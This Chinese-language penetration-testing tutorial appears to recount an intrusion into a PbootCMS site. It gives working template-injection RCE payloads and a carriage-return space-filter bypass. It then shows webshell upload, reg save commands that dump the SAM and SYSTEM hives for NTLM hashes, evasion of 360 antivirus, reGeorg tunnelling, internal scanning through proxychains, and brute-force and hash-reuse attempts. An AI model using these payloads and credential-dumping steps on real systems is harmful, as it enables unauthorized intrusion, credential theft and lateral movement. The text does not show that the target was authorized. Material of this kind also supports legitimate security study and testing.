实战Rce到玄学上线
字数 1410 2025-08-18 17:33:32
实战RCE到玄学上线 - 渗透测试教学文档
1. RCE漏洞利用
1.1 漏洞发现
- 目标系统使用PbootCMS,通过信息收集发现其后台界面并确认版本
- 搜索对应版本漏洞发现存在RCE漏洞
1.2 漏洞验证
- 使用payload验证漏洞存在性:
{pboot:if(phpinfo());}{/pboot:if} - 确认执行权限为SYSTEM级别
1.3 命令执行限制
- 发现命令执行存在空格限制:
- 可执行命令:
ipconfig、whoami - 不可执行命令:
net user、net%20user
- 可执行命令:
1.4 绕过空格限制
- 使用回车符替代空格来绕过限制
2. 获取Webshell
2.1 Webshell上传
- 由于命令执行受限,选择上传PHP Webshell
- 使用回车符绕过空格限制上传Webshell
2.2 环境分析
- 发现系统存在360安全防护
- Webshell权限为SYSTEM但仍无法终止360进程
- Webshell环境下无法调用Powershell
3. 密码获取技术
3.1 传统工具尝试
- 尝试上传Procdump、mimikatz、Pwdump均被360拦截
3.2 注册表导出方法
- 导出注册表:
reg save HKLM\SYSTEM system.hiv reg save HKLM\SAM sam.hiv - 本地使用mimikatz解析获取NTLM-hash
3.3 密码破解尝试
- 系统启用了密码复杂度要求
- 尝试破解NTLM-hash未成功
4. 用户添加技术
4.1 命令执行限制
- 发现命令执行存在时间限制(上午可执行,下午不可执行)
4.2 冰蝎工具利用
- 使用冰蝎虚拟终端成功添加用户
- 注意:冰蝎的"命令执行"功能与菜刀一样受限
5. 内网探测技术
5.1 ARP表分析
- 查看ARP缓存表获取内网通信主机信息:
arp -a
5.2 内网扫描
- 使用ping命令扫描内网网段:
for /L %i in (1,1,254) do @ping -n 1 192.168.0.%i | find "TTL="
6. 内网穿透技术
6.1 reGeorg工具使用
- 上传reGeorg的PHP脚本到Web目录
- 服务器端执行:
./reGeorgSocksProxy.py -p [端口] -l [服务器IP] -u http://site/tunnel.nosocket.php
6.2 代理配置
- 配置proxychains进行内网访问
7. 内网主机扫描
7.1 服务扫描
- 使用nmap通过代理扫描内网主机:
proxychains nmap -sT -Pn 192.168.0.66
7.2 服务测试
- 测试SMB服务(尝试17-010漏洞)
- 尝试爆破1433(SQL)、3389(RDP)端口
- 尝试使用获取的NTLM-hash进行Hash碰撞攻击
8. 玄学上线技术
8.1 时间因素影响
- 发现命令执行成功率与时间相关(晚上成功执行)
8.2 Powershell上线
- 在Webshell中成功执行Powershell上线命令
8.3 密码抓取
- 成功抓取到管理员密码(包含大小写字母、数字和特殊字符)
9. 防御规避技术
9.1 绕过360防护
- 发现360对传统渗透工具拦截严格
- 使用注册表导出等非传统方法规避检测
9.2 执行时间选择
- 不同时间段执行成功率不同,选择合适时间进行操作
10. 经验总结
- RCE利用:CMS版本漏洞利用前需充分验证,注意执行环境限制
- 绕过技巧:使用特殊字符(如回车)替代空格可绕过部分限制
- 权限维持:当直接上线受阻时,多尝试不同方法(Webshell、添加用户等)
- 内网渗透:结合ARP表和主动扫描获取内网信息
- 工具选择:不同工具在不同环境下效果差异大(冰蝎虚拟终端优于命令执行)
- 时间因素:渗透测试结果可能受时间因素影响,需多次尝试
- 防御规避:传统工具被拦截时,考虑使用系统自带功能或非标准方法
附录:关键Payload
-
PbootCMS RCE验证:
{pboot:if(system('whoami'));}{/pboot:if} -
带空格的命令执行尝试:
{pboot:if(system('net user'));}{/pboot:if} -
使用回车替代空格(示例):
{pboot:if(system('net'."\r".'user'));}{/pboot:if}